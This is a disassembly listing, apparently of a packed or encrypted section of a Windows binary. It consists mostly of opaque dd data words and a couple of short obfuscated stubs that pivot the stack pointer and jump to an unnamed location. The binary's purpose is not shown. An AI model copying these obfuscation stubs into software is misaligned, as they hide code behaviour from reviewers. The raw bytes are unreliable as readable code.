		dd 0BA3EF6Fh, 0EF39BA95h, 0C80BE957h, 0BB6AC048h, 96D0E2E2h
		dd 935E280Ch, 0CF4D28BAh, 0B382B97Fh, 9B9EEFB8h, 2682D3BDh
		dd 4A7CFEC1h, 9DB8ADAAh, 0B958763h, 47A6F779h, 0B37CFE08h
		dd 3C81714Fh, 7CFE0835h, 0B20E360Fh, 0FBCD9656h, 41CBh
		dd 12C86C00h, 1DD977E1h, 0D7AD8B8Dh, 1FA1330Ch,	0D16A1B69h
		dd 0CEAC2CFAh, 0FEA01715h, 65FD617Ch, 0FE83C920h, 1565E37Ch
		dd 0E52BAE7Dh, 993177FAh, 1C9DC516h, 0E0406841h, 0FBCE1984h
		dd 0FDF9h, 12C89A00h, 30B12EE6h, 286F20E6h, 0FA7ABD9Bh
		dd 0C84716AEh, 43C70F3Eh, 34FA4C90h, 6A7112FDh,	7A129C5Ch
		dd 4DDF2BABh, 13737ACBh, 23877AD6h, 5DDF5545h, 0D613E10Ch
		dd 23B5197Ah, 0D6139BD2h, 9D7BDF7Ah, 0AA8EDA5Ah, 0D61721FDh
		dd 2975F57Ah, 94E56745h, 7AD61E59h, 1C5F3DA1h, 0E3BE509Ch
		dd 0F7D1565h, 0F0CB4131h, 7248266Eh, 613CCEA7h,	91FF97DFh
		dd 41D927A6h, 890BF5D3h, 8E62AAEh, 0FE304D4Fh, 0C4460B7Ch
		dd 0EC76E47Ch, 6487D85Ah, 947CFFCCh, 4C165230h,	0C516A881h
		dd 7AD56967h, 83C94C11h, 61F37DEBh, 27B90786h, 0A280CC4Ch
		dd 62B02F66h, 775A52BEh, 0D42FFF08h, 1A2h, 0C1A5F774h
		dd 0DDC1078Ah, 0F4D828A6h, 0FF33BBDh, 270B59D8h, 0C7463B72h
		dd 0DA5E9579h, 0FA7BB296h, 1595CCB0h, 9FEDE5C9h, 0FB4F1F4Eh
		dd 0E7885B7Ch, 0C241F06Fh, 0E46EDC74h, 0FD49C900h, 0EDC84E19h
		dd 0ACEFE36Fh, 588B26DDh, 0EAC836CEh, 0DE704914h, 0B7FF815Ch
		dd 200C20D9h, 0CC6C7CFEh, 0EB15DF39h, 0FB931DB8h, 0FEF7B3B6h
		dd 88B0897Ch, 0CE6DCC28h, 0B641FBh, 6FE20000h, 3C0BA3EFh
		dd 92D76FBDh, 7AD6E194h, 0DABE0A8Ah, 3FD723A3h,	58D812DDh
		dd 9FF0820Ch, 7CFECF1Dh, 4F9EEF5Bh, 0AB7CFED7h,	0FD9BD47h
		dd 40880A44h, 0FAD324B6h, 7E7AD475h, 0DBD2881Ah, 8F5A8F75h
		dd 8608F2D0h, 0FFDD2DABh, 0E8E3DBCh, 0C80269BAh, 12767684h
		dd 0F882F088h, 63B43614h, 7684C808h, 0EB2E0C70h, 0A07A1E6Ch
		dd 0C50875B8h, 0B89AF5h, 0D8A0000h, 1DA0D7BBh, 3EBCF3D7h
		dd 51D30AEEh, 6FEE2509h, 25883D21h, 0A78BD958h,	0C4A8EC70h
		dd 0DEC20C8Dh, 0F7DB27A7h, 0D60B1FFh, 6D7CFB4Eh, 0F06FF99Ah
		dd 787BEA2h, 43F9D7BBh,	434B4911h, 8057354Ch, 4A9BEF6Fh
		dd 7AD6E523h, 0D169F357h, 52368202h, 6B4F9B1Bh,	0D068B434h
		dd 0B2007F5Ah, 0FF61BD4h, 6E3A2CD4h, 32CA1093h,	0EB13E6C4h
		dd 0C00A8B66h, 90D65928h, 65E52806h, 7EFE3519h,	49CB9A32h
		dd 95E66901h, 0BF0B8B6Dh, 7724A4DBh, 9022ACF6h,	52EA34B5h
		dd 2FB90183h, 17066151h, 4E000000h, 0CAA8F273h,	0F546C8F3h
		dd 7AD6E5F6h, 73BB3D02h, 5E36DDBh, 0F26F08BFh, 0B93908A0h
		dd 8506D56Dh, 50D4A33Bh, 26A5740Ch, 0F27140D8h,	0BB3D0CA4h
		dd 8E0CDB73h, 54D7A63Eh, 52ED760Eh, 0C2815A54h,	4, 8704EA83h
		dd 515C2414h, 0C181E189h, 4, 4E981h, 0C870000h,	4895C24h
		dd 26316824h, 34890000h, 10BB5324h, 55229549h, 884D3FBDh
		dd 0AD20B859h, 0E831714Ah, 5BD8295Dh, 8904EC83h, 4812424h
		dd 424h, 81505E00h, 138E242Ch, 468F38C5h, 8468108h, 38C5138Eh
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55D826
; ---------------------------------------------------------------------------
		dw 0D04Bh
		dd 0B8A895F7h, 62DACC2h, 0E0FFC503h, 6398806Dh,	7C691070h
		dd 4643AB22h, 489BBAE5h, 39493CF4h, 109D1A8Fh, 24730781h
		dd 338B6579h, 1C694C48h, 59A6A0B1h, 2A4C42EEh, 49F696D5h
		dd 7A0F6AF2h, 0FB84788h, 153F4998h, 375F6F7h, 1E7F34Dh
		dd 2362BDBDh, 22D2676h,	4E7203D8h, 64537CBDh, 33790353h
		dd 6C01C391h, 616AFFB3h, 7DBB9CEEh, 17726427h, 48EACD83h
		dd 73BD9371h, 3FA2A24Eh, 0DA80C08Bh, 49BD83C5h,	62801h
		dd 0BD830975h, 62814C5h, 50197400h, 0B8C08B53h,	3FCh, 2918589h
		dd 9D8D0628h, 62AA55Eh,	585BD3FFh, 14C5BD83h, 74000628h
		dd 0B8535017h, 3FCh, 2918589h, 9D8D0628h, 62AA24Dh, 585BD3FFh
		dd 6AF9B3h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0A5F084C3h, 70C66232h, 52E4DC45h,	5E9h, 0ED302F00h
		dd 8B5BAB4Dh, 0D68B66C0h, 2415BD83h, 0F010628h,	4584h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 8E40C4C2h, 1E55BD83h, 0F000628h,	1985h
		dd 8B616000h, 11BD83D1h, 62833h, 74840Fh, 840F0000h, 2
		dd 0F0E9D68Bh, 0E9000003h, 12h,	3F11C9DAh, 3BB0FE5h, 96812274h
		dd 0F7A54F47h, 0C3D0h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 8349EFC3h, 0D0C45233h
		dd 0FA8B6096h, 61F7F680h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 8BC35040h, 590DEA6Fh,	4322DC8Ah, 0F0FA1DA3h
		dd 1EBAB2BEh, 0F6F5B2D7h, 0AF39EBF4h, 0F259FE5Dh, 0F29AF655h
		dd 0F65FB2CDh, 1F6CE395h, 5569402Fh, 506E3FDFh,	77F39993h
		dd 3ADE8637h, 7DAD4D86h, 0F2685B03h, 0F635B2D4h, 0F6AC5A83h
		dd 0A9F7B2D4h, 8A62ED17h, 0B274B6F0h, 0F6ECB6F0h, 0A13AB2D4h
		dd 9FBD2C17h, 0F65F5A81h, 77F2B2D4h, 0DB78CF39h, 0A1EBD8D2h
		dd 0F6F5B13Ch, 35A592D4h, 0D2013B8Bh, 0D2FA33D0h, 0F65FA7D0h
		dd 35F8F5D4h, 0F86DF066h, 0A5DB41BCh, 1174D4B4h, 0AC9BB1ACh
		dd 771B725Fh, 0A62F9A37h, 209508B2h, 968BB65Dh,	38560362h
		dd 0F8B7828Dh, 0F7FA4AB5h, 9C049698h, 0F595E4D4h, 0D6BEB2D4h
		dd 7F01718Ah, 77AB96A0h, 0EBD39690h, 0B0EBB2D4h, 19597182h
		dd 0B7BCD066h, 6E6887Dh, 0A5BED88Ch, 0F65FB13Ch, 35F492D4h
		dd 0D28B3B8Fh, 0D2AF33D0h, 0F6F5AED0h, 35A9F1D4h, 2A364582h
		dd 2679A1E6h, 0F6565B67h, 2CE6B2D4h, 8F399F69h,	0F3F0B27Bh
		dd 0F6F5B0D8h, 0F690BA5Fh, 0F67E5A86h, 0AC9EB2D4h, 0A2D6E817h
		dd 0B22EB6F0h, 0F6CFB6F0h, 0A4A9B2D4h, 3683A717h, 0FE1289C6h
		dd 0C97DB2D4h, 0F052FA3h, 0F9B3E5B7h, 90F5696Bh, 4C2BFA5Fh
		dd 80607DC7h, 0F6F5B36Ch, 0A5FAD8D4h, 0F67DB13Ch, 35E592D4h
		dd 0D2033B8Fh, 0D2EB33D0h, 0F6D7A4D0h, 35B8F1D4h, 4D39DB96h
		dd 0A71EBA9Eh, 56C3F06Fh, 7DD8E2E3h, 0D2533B0Dh, 1EFDB2BEh
		dd 0F6D7B2D7h, 0AC28E8F4h, 0F2D1E65Dh, 0F2DEF655h, 0F67DB2CDh
		dd 0FC7DE096h, 34DE641Fh, 0F6A05B9Ah, 9BC3B2D4h, 75B10EECh
		dd 0A81DB96Eh, 0F12321E2h, 2FF1D4E7h, 1EE9B2BEh, 0F65FB2D7h
		dd 0A96CEDF4h, 0F2F3CE5Dh, 0F2CFF655h, 0F6F5B2CEh, 0E439E593h
		dd 0B5B1BACBh, 7DD89CF8h, 0F29E440Eh, 0F7AE37DBh, 0FB3FB2D4h
		dd 80EBB2D4h, 99AC2F09h, 68907D5Ch, 7B3B546Bh, 25008B2h
		dd 7DE5EB8Eh, 96CF0659h, 0D295F26Eh, 396AD4B8h,	769458F2h
		dd 73F5DAEDh, 0F67DB393h, 1EEEB2BEh, 0F65FB2D7h, 0AE6CEAF4h
		dd 0F2F3F65Dh, 0F2CFF655h, 0F6F5B2C0h, 3239E294h, 0F67DA13Ch
		dd 10A52CD4h, 3BA8AAFEh, 0DCBB6B3Ah, 1DDFE6EAh,	5F0C4CDDh
		dd 77AE685Fh, 7B51C83Eh, 0F70439F2h, 93F6A5Fh, 765FB2D4h
		dd 0F65630DBh, 0F6BDB2D4h, 0F6E85A83h, 0A9D5B2D4h, 8A73ED17h
		dd 0B2FCB6F0h, 0F6A2B6F0h, 0A118B2D4h, 716E0F17h, 2B7CF10Dh
		dd 732CF574h, 0F0D81C19h, 0F6FAB2D5h, 6F1208B2h, 0F6BE5C3Dh
		dd 0A05FD8D4h, 0F6AFB13Ch, 358992D4h, 0D29F3B8Ah, 0D2B133D0h
		dd 0F6FAA6D0h, 352BF4D4h, 0DD05D429h, 0F6C25B33h, 0F6C5B2D4h
		dd 0F6D45A81h, 0ABCBB2D4h, 9A7CEF17h, 0B27BB6F0h, 0F667B6F0h
		dd 0A3FBB2D4h, 0A99D4A17h, 0BBCE244h, 0AF8D4784h, 0F6EBA63Dh
		dd 0EBF7AFD4h, 75A705D3h, 0DCCF95B3h, 4B0955F8h, 0CBC0A7Ch
		dd 8F2CD497h, 72D84DDFh, 0F6EBB287h, 1EA5B2BEh,	0F6FAB2D7h
		dd 0AEBEEAF4h, 0F29AF65Dh, 0F27BF655h, 0F6AFB2C9h, 5514E294h
		dd 2F5FEAA4h, 3CC6E9B6h, 3B7F7531h, 0F77B9F7Ah,	9CBEB2D4h
		dd 0F5B7E1D4h, 0D6AFB2D4h, 7F8C718Fh, 77EF9688h, 0E3F19690h
		dd 0B5FAB2D4h, 87887187h, 6B7433B2h, 0BEA80408h, 1EF9B2BEh
		dd 0F6D7B2D7h, 0A828ECF4h, 0F2D1C65Dh, 0F2DEF655h, 0F67DB2CDh
		dd 0E67DE492h, 0B759E933h, 0F6AA5BBDh, 0E0A5B2D4h, 4FC6D738h
		dd 89590A0Fh, 42843759h, 4BF0B4F9h, 0F0930016h,	0F12B4AEFh
		dd 3F7EBDE4h, 9C225993h, 0F503E2D4h, 0D6F5B2D4h, 7FA2718Ch
		dd 77799690h, 0E3BA9690h, 0B65FB2D4h, 9F4C7184h, 4FDE04B4h
		dd 0B9D07871h, 0E81E32B5h, 0D2EF0F57h, 0F97CB4FCh, 0F6BE8D50h
		dd 84E5D4D4h, 0A312313Ch, 0F6D19ACAh, 0F6C537DBh, 297EB2D4h
		dd 0C5EB0F57h, 0F97DB4FCh, 0F6BEED50h, 0A45FD8D4h, 0F6AFB13Ch
		dd 358D92D4h, 0D2BF3B8Eh, 0D2B133D0h, 0F6FAA5D0h, 352FF0D4h
		dd 558BB56Fh, 0F65F413Dh, 0A7AFD8D4h, 0F6D7B13Ch, 35B292D4h
		dd 0D2B93B8Dh, 0D2BE33D0h, 0F67DAFD0h, 35EFF3D4h, 5AB0B485h
		dd 80337AD1h, 0AB7CD6Dh, 0F6EBBC3Dh, 0ADB4FAD4h, 2A72247Ch
		dd 0D10C480Dh, 9722D638h, 0D24A0F57h, 0F9AEB4FCh, 0F6D7F551h
		dd 908BE0D4h, 0DC736555h, 0AD9BED84h, 0F6755B89h, 2D9EB2D4h
		dd 21C9A3FAh, 9C6CDAC3h, 0F53FE3D4h, 0D6EBB2D4h, 7FAC718Dh
		dd 77FE9698h, 0E0799690h, 0B7BEB2D4h, 3D307185h, 352ED491h
		dd 9F3EBB21h, 4CEBB2D4h, 0D6AA35CBh, 0A3FAD889h, 0F67DB13Ch
		dd 35E392D4h, 0D2333B89h, 0D2EB33D0h, 0F6D7AED0h, 35BEF7D4h
		dd 398378FEh, 0D64C2EDCh, 9CB24A00h, 0F556E5D4h, 0D65FB2D4h
		dd 7FF0718Bh, 77D396A8h, 0E3EF9690h, 0B1F5B2D4h, 0C8A07183h
		dd 0F67F37DBh, 2C34B2D4h, 0F65FBC3Ch, 699488D4h, 78B3041Ch
		dd 0A9D8ECFBh, 901CFD0Fh, 0AC17956Fh, 59600F59h, 7B33B4F9h
		dd 0F072069Fh, 0CCF3AF6Ch, 0B5281AFh, 0DDED9AC2h, 0F4F731Bh
		dd 5989590Ah, 0F9428437h, 164BF0B4h, 0EFF09300h, 0E4F12B4Ah
		dd 933F7EBDh, 0F305E983h, 0CDBD83A4h, 62DAEh, 8D8D0D74h
		dd 6284F6Eh, 1B8h, 40E1FF00h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 78C35747h, 0AB7544B7h, 0E957347Fh
		dd 0Dh,	8529F53Bh, 148E954h, 0FE114632h, 2DE8833Fh, 5AF55252h
		dd 0E8C08B5Ah, 7, 46747780h, 8A46F2F3h,	0B6535AF4h, 0BD835A2Bh
		dd 6280149h, 83097500h,	2814C5BDh, 19740006h, 0C08B5350h
		dd 3FCB8h, 55858900h, 8D06282Eh, 2AA5C59Dh, 5BD3FF06h
		dd 0C5BD8358h, 62814h, 53501774h, 3FCB8h, 55858900h, 8D06282Eh
		dd 2AA2669Dh, 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 880F6612h, 1, 8BD08BF8h
		dd 0F28D8DC0h, 8B062DB5h, 158D89D9h, 6A062807h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 439AC357h, 0C7F53CE2h, 2821BD85h, 6BCC06h, 0BBE28100h
		dd 8A364180h, 3D85C7D1h, 62811h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 4B68C356h
		dd 958982AFh, 6282E81h,	0B5FFBDB0h, 6281115h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 3BC35040h, 867B7B3Eh
		dd 60AB5E97h, 61CA8B66h, 95FFC28Bh, 62814D9h, 95FF006Ah
		dd 6280465h, 79EBC08Bh,	1343C161h, 80CB6C66h, 14EB8576h
		dd 38B29D4Ch, 77DEAD7Bh, 82333372h, 97EF7731h, 97B5D9C1h
		dd 0DBCF5F87h, 875E5B1Fh, 74CF122Ch, 6DF4731Eh,	25277018h
		dd 84467F6Dh, 0A15F59EDh, 0D4E15D5Dh, 0B56EAFE7h, 0C5458B06h
		dd 0E4D8D781h, 1E78EE2Ah, 0BBC734EFh, 669E139Bh, 0C6AEC941h
		dd 93BCBFB4h, 9B6E3DFFh, 0DBA4A084h, 5EBB412h, 3929B19Dh
		dd 5DF3674Fh, 470679A7h, 35E97Fh, 24FC0000h, 2DD2h, 0Bh	dup(0)
		dd 0E9000000h, 0B38h, 2DB80568h, 8E28E906h, 0DC68FFFBh
		dd 0E9062DB8h, 0FFFB8E1Eh, 2DBA7368h, 8E14E906h, 9968FFFBh
		dd 0E9062DBBh, 0FFFB8E0Ah, 2DBE3968h, 8E00E906h, 0A168FFFBh
		dd 0E9062DBFh, 0FFFB8DF6h, 2DC09268h, 8DECE906h, 0FD7AFFFBh
		dd 0D90C7ABh, 2EACE3C7h, 41C3FADEh, 5FDE15F9h, 35782D11h
		dd 977BC948h, 0B498DC60h, 0CEB2FC7Dh, 0E7CB1797h, 1D50A1EFh
		dd 5D7CFB53h, 0EF6FE98Ah, 0B73611A3h, 8563D169h, 0FA46C695h
		dd 0A0814C16h, 0D6E51C4Fh, 6EF85C7Ah, 7F5ADCh, 9D1BD4B2h
		dd 0E37CFEE4h, 9671E77Fh, 0C533CB15h, 791157DAh, 7D742D0Bh
		dd 477CFEE4h, 8EEA466Eh, 3FBCE82h, 20h,	3811DCA4h, 0F1D755A6h
		dd 3DA17CFEh, 0F00960A5h, 5A337CFEh, 6A82DE32h,	0CEF7FBCEh
		dd 98000000h, 11A3EF6Fh, 8B69B736h, 0FF4DCC9Bh,	9516F167h
		dd 6745B34Bh, 0C058A424h, 412571F1h, 0B5078863h, 0D6E50964h
		dd 830D717Ah, 0C92475EBh, 317AD6E5h, 0AC6543CDh, 7AD6E1A0h
		dd 0DABE0A8Ah, 0F27623A3h, 0BDA816AEh, 0CE66F03Eh, 36C8A16Ch
		dd 0FEE313E5h, 1D01657Ch, 0BF738853h, 0D4AA2DD4h, 97E87A04h
		dd 7AD46E0Eh, 7954E64Ah, 91C8ACFAh, 0A420C412h,	1508767Dh
		dd 940EA45h, 0ED6A0000h, 0FD80B79Bh, 1E9CD3B7h,	31B3EACEh
		dd 4FCE05E9h, 45681D01h, 876BB938h, 0A488CC50h,	0BEA2EC6Dh
		dd 0D7BB0787h, 2D4091DFh, 4D7CFB5Dh, 0F06FD97Ah, 787BEA2h
		dd 0F58DDB5Ah, 3B19FD87h, 0E50568B9h, 9757AD6h,	0D6E5B5B8h
		dd 0D761C57Ah, 411F6DECh, 3811DC6Ah, 0F1D755A6h, 3DA17CFEh
		dd 0F00960A5h, 5A337CFEh, 6A82DE32h, 9FF7FBCEh,	98000000h
		dd 74E812C8h, 1EF5EAE4h, 317DFD40h, 0FD4BCA99h,	762C2065h
		dd 7EFE7AD6h, 97174E32h, 8651B34Bh, 36CA1BADh, 4A7CFE7Bh
		dd 6D3802E6h, 0FE800294h, 7AC02B7Ch, 0D4387CFEh, 0FE7A7873h
		dd 3E1C807Ch, 0D4D82F85h, 53E5497Ah, 2C74F6D1h,	3E8C0B4Eh
		dd 0F5A4235Ah, 27952D71h, 0EBD5F99Dh, 28F80876h, 869CDh
		dd 0C4169300h, 0E026A9E0h, 0F747C5FCh, 125ADC13h, 2A78F72Eh
		dd 671C9146h, 7FB69AE8h, 9CD3B7FBh, 0B6EDD11Bh,	0E06EA36h
		dd 5D7C6FC0h, 0A97C7CFBh, 0A2F06F08h, 0BB0787BEh, 0EF6F0CD7h
		dd 0BC3C0BA3h, 0F7C28C70h, 31B18C1Eh, 1DF4DE5h,	3BBA9517h
		dd 27BF0D8Ch, 21972FB9h, 0D6E59DD0h, 0EF79DD7Ah, 480C1229h
		dd 79570323h, 0FE1B54C0h, 8204DF7Ch, 3675C3Ah, 0D01C9C6Bh
		dd 0E935B5ECh, 0B2FA7C57h, 55E6AC1Ah, 0FC4985D9h, 0ACF1E1BFh
		dd 0EF7A806Fh, 0E078C645h, 0AC449211h, 7CFD25DCh, 56325A0Fh
		dd 6FA68AD6h, 0C60BA3EFh, 0E37A8CA2h, 0E8D68D8h, 0E70FE2C0h
		dd 0B7FB7F5Ah, 691696D9h, 74BA3DE8h, 4CE46EDCh,	397054DEh
		dd 3B890CB9h, 7A8C83EAh, 993F7E3h, 9671E77Fh, 0C331C917h
		dd 733E2CE5h, 3CF31C85h, 68B43414h, 81CD4D84h, 13239EFh
		dd 73D20728h, 23BB0988h, 85E7D7B5h, 0FE4FE1BAh,	0E552E0AEh
		dd 0A48266CAh, 809AD122h, 7ADEE502h, 22FBC69Ch,	0A43D3F90h
		dd 0D73BE32Ah, 6CF6FA3Fh, 0F3CCDF2Ah, 0FB1975CBh, 7C8E5BF9h
		dd 2F000004h, 0CBBAFDh,	8449527h, 307CFEE8h, 770122CCh
		dd 98A03139h, 0B71AB8CDh, 88E61052h, 0EE46A5F6h, 4EB29821h
		dd 0BFE132C4h, 0C19E09E7h, 9863C55Dh, 5AAB2DBFh, 93C9F113h
		dd 3B250367h, 0E1CA3CEAh, 78C94B95h, 9591B575h,	62B0E585h
		dd 0BC60CC2Ah, 0FB5F5432h, 0C20E8E69h, 0DB27A7DEh, 6AACA137h
		dd 157040EBh, 6D2h, 492D7FFCh, 65498F12h, 7C60B02Eh, 977BC345h
		dd 0AF93E160h, 4FCEB3FAh, 62E61D01h, 82033A1Eh,	9D1D5438h
		dd 27756D51h, 0FB5F97D6h, 6F10E37Ch, 0F6F546C8h, 27AD6E5h
		dd 0FD7DC09Eh, 0CC4A19B1h, 0FD5987Ch, 1D000001h, 8E79BF42h
		dd 0BA28C010h, 15DC05DCh, 1E0951D3h, 3ACC569Ah,	0B997DB5Fh
		dd 0ECC097BAh, 0B10D638Bh, 2601F683h, 7Ch, 1056D9B4h, 15DC5B32h
		dd 0E9ECA234h, 0F15305F1h, 1157DAC5h, 0F0F84933h, 87AD677h
		dd 0BD3D0CA4h, 0B9439110h, 0D21E9ED5h, 340DD83Ah, 0C14520A2h
		dd 9316E57Dh, 0BD47B54Dh, 71094FD2h, 346C2503h,	577CFE7Eh
		dd 7E6984D5h, 2D917CFEh, 15955A4Fh, 39C331C9h, 0E109E2A1h
		dd 0CDF3338Fh, 0F2FAB0FBh, 0EED0EA2Bh, 11786A48h, 19000000h
		dd 102E3h, 0CD502B00h, 9681EF87h, 19F0CE12h, 0F6F546C8h
		dd 0B47AD6E5h, 0E452EA32h, 2F05E347h, 3B328364h, 3F7AD6E5h
		dd 3DBF51DBh, 0B837E062h, 0DA64D26Ah, 3DF6D442h, 7CFEC49Bh
		dd 4D95399Dh, 0A8024BCDh, 5AC7DD8h, 59D60000h, 69EC2307h
		dd 8A083F23h, 9D1F563Ah, 0BB3A7155h, 0D9D4896Dh, 0F3D725A4h
		dd 10F438BCh, 2A0E58D9h, 432773F3h, 41ACFD4Bh, 0B97CFB5Eh
		dd 15DC45E6h, 0BE6A8D34h, 0AB052D8Eh, 1F67F4Fh,	50C4h
		dd 46C86500h, 0D6E5F6F5h, 0EA32B47Ah, 350BE94Dh, 20FB8D6Eh
		dd 2771F2A1h, 9DC0BF9Dh, 3A62C389h, 0F67F8AE6h,	27FF01h
		dd 0C8A00000h, 5E246AEDh, 9DFB5847h, 0D7AD8B7Fh, 65882F10h
		dd 2951B2DAh, 0D63991D9h, 3A93F67Ah, 0AD01F5A8h, 0FFFFFE9Ah
		dd 0D315DC4Eh, 16F0753h, 880AE577h, 0B636240h, 0CF67AD30h
		dd 9C348000h, 11C6A42Eh, 0D5FD5E2Eh, 0F6801F7Bh, 2319401h
		dd 6F350000h, 940AA2F0h, 57EF37B9h, 46C80BE9h, 1E8E2EC2h
		dd 90104D85h, 9830BA44h, 65FD49C9h, 34CC1496h, 0B13860B1h
		dd 81678F44h, 99D0B402h, 0A534901Ah, 0E7C8B3A8h, 9863C55Dh
		dd 94DC2DBFh, 0EC7CFE89h, 1C6DF088h, 479514F4h,	5FAD2C63h
		dd 766F82C7h, 3C957CFEh, 67B53414h, 0EB0253D5h,	0F7CFE76h
		dd 0F63EC0ABh, 0D612F05Eh, 3AD2209Fh, 54D30DD8h, 76BEADFEh
		dd 56BA7CFEh, 5FB042CCh, 7AD65CD5h, 9445C39Eh, 0C634CC10h
		dd 5836A43Ch, 8D53C363h, 0B10D4709h, 63FB45C6h,	0BD876BF5h
		dd 58719F2h, 8631B9B4h,	5921C176h, 4D4C93F7h, 6C5634BEh
		dd 0AE36911Bh, 9717F270h, 74397A0Fh, 0FC86A992h, 2318F664h
		dd 8BE227BFh, 0F168AF21h, 2AF57098h, 3E6EBF51h,	3A6E8715h
		dd 3BBBF2D6h, 88857EFh,	0CC4F2ABCh, 0A280EE86h,	0B5068866h
		dd 62771DB6h, 0AA805EC2h, 0BE7406DFh, 84D57EA9h, 62773069h
		dd 0F6672D91h, 41922471h, 62777F2Ah, 220CEA4Eh,	5F7ED7D1h
		dd 0D122A464h, 641F799Ah, 2DC50F90h, 2CBE22BFh,	1F7990DBh
		dd 0A684E864h, 70B54DB1h, 641F7979h, 0EE426A43h, 0E32CE792h
		dd 2E07h, 11DCA800h, 0D755A638h, 0A17CFEF1h, 960A53Dh
		dd 337CFEF0h, 62E66843h, 0D7052755h, 1FB741E4h,	0D800D3B1h
		dd 0CE7A1C78h, 0B891FBh, 6F320000h, 3C0BA3EFh, 27DD6FBDh
		dd 5C00164Eh, 0FEEECC39h, 0CB63AF2Fh, 67F47CFCh, 0C4595780h
		dd 34E1C54Fh, 7AD648D8h, 62469212h, 62F4CD98h, 0FCE91511h
		dd 2AE0627Ch, 0E2BEE78Eh, 36359619h, 427CFD57h,	2A70F3DEh
		dd 61F3574Ch, 3C8004DFh, 96D536A4h, 0E27CFD57h,	57C62576h
		dd 0CE327CFDh, 0A17C6644h, 0B9F0D422h, 0A448EC3Ah, 65024F5Dh
		dd 30C3A95h, 0B9360000h, 0C94C8367h, 0EA689F83h, 0FD7FB69Ah
		dd 1B9AD1B5h, 7934E9CDh, 53378504h, 7054981Ch, 8A6EB839h
		dd 0A387D353h, 0E10C5DABh, 197CFB5Bh, 0F06FA546h, 9614C141h
		dd 4E32BC46h, 0B94B9717h, 33115FDEh, 0EF6F2CF7h, 0BC3C0BA3h
		dd 6FC18C70h, 3611A3EFh, 65D36BB5h, 48C89787h, 834E18FCh
		dd 0E9C718AAh, 8F7CFEE4h, 1B4E932Bh, 217CFEE7h
		dd 64C02048h, 0D9FBCE81h, 62h, 3811DC7Ah, 0F1D755A6h, 0D1AC7CFEh
		dd 0D424A253h, 6644B24Ah, 0B9B40571h, 0C17CFEF0h, 0F63BD35Dh
		dd 7CFEF0F3h, 17B238B9h, 0EA915354h, 16E57D07h,	0E4B34B95h
		dd 107E1666h, 88012968h, 0EA3BBDADh, 7CFED583h,	483057F7h
		dd 0DD68A926h, 7AA27553h, 519B1CF7h, 0B26D4BB9h, 0FBCDB556h
		dd 0E2CBh, 0EF6F6C00h, 0BD3C0BA3h, 0DF61D76Fh, 0D6E55F8Eh
		dd 59379B7Ah, 0B24A9616h, 331763E3h, 0D6E18686h, 98E4647Ah
		dd 0B1028406h, 7AD6E0BAh, 0F2F95ABEh, 67AD6E0h,	0E022499Ah
		dd 0F2567AD6h, 174E8A68h, 51B34B97h, 0CA1BAD86h, 7CFECEF2h
		dd 0F343C186h, 0F0BB8569h, 67B5340Fh, 0FED1E706h, 9ECD1E7Ch
		dd 0DA7CFED1h, 0EB75D976h, 74240859h, 8F547AD4h, 0A638C210h
		dd 1AFE4CCBh, 95E1613Ch, 6EB18FFDh, 0F9FDA1EFh,	24087684h
		dd 1A4F954h, 51CE0000h,	61E41BFFh, 8200371Bh, 95174E32h
		dd 0B332694Dh, 0E1CC8165h, 0EBCF1D9Ch, 8EC30B4h, 220650D1h
		dd 3B1F6BEBh, 49A4F543h, 0B17CFB5Ah, 0F06F3DDEh, 0B53510A2h
		dd 0B13B8908h, 91CDAB19h, 0FC8EDA5Ah, 0E5C2297Ah, 0F0417AD6h
		dd 7AD6E5FDh, 98FC99FDh, 0DCB37EBAh, 55A63811h,	7CFEF1D7h
		dd 60A53DA1h, 7CFEF009h, 0DE325A33h, 0FBCE6A82h, 0C5F7h
		dd 28AA8500h, 0C0DF1AE0h, 870E910Bh, 0EDC8D2A9h, 0FE411F6Fh
		dd 0CB9A327Eh, 2166FE4Ch, 7AD6E12Bh, 4F337FFFh,	0B44C9818h
		dd 0CE4D8752h, 2172E880h, 7AD6E0CAh, 0B640CA2Eh, 0CEC9D324h
		dd 2B8F7CFEh, 9874E399h, 960F626Ah, 48E02AABh, 0F6C0FCDAh
		dd 6FC0522Bh, 7AD4321Eh, 4924B61Ah, 7AE880C6h, 58D7B29Ch
		dd 0A5F6780Ah, 7685F246h, 34704EB2h, 8C307EFDh,	876C274h
		dd 0B392EDBDh, 0DD000000h, 0F32A0E60h, 0F462A70h, 265D4191h
		dd 41785CA4h, 0DB9074C2h, 0E02EADD2h, 0FD41C5FCh, 1761E219h
		dd 307CFC33h, 0B506544Ch, 7CFB25B6h, 0C84EEFC2h, 6C2E5912h
		dd 9D0BA3E9h, 0B84EC2D7h, 0CA1897DAh, 0E32FAFE6h, 0EF6F34FFh
		dd 0EE78C042h, 0BB078756h, 9E1EF9D7h, 0FCB4C016h, 28B25146h
		dd 0D0A9744Ah, 97E3633Eh, 0C9B391FFh, 0FBBF0478h, 18B0147Ch
		dd 997DC949h, 0FE96E262h, 7A106B9h, 6D954A57h, 2DBF0B8Bh
		dd 2A0C9D77h, 4C995FA9h, 0C1757EF8h, 8C65A265h,	0B1E82402h
		dd 7E4DE531h, 991CB4FCh, 0B8382048h, 0D151886Ch, 392ED85h
		dd 0ED000000h, 0F26FB56Ch, 0B93908A0h, 8506D56Dh, 50D4A33Bh
		dd 26A5740Ch, 0F27140D8h, 0BB3D0CA4h, 8E0CDB73h, 54D7A63Eh
		dd 53ED760Eh, 0C381E389h, 4, 4B850h, 0C3290000h, 241C8758h
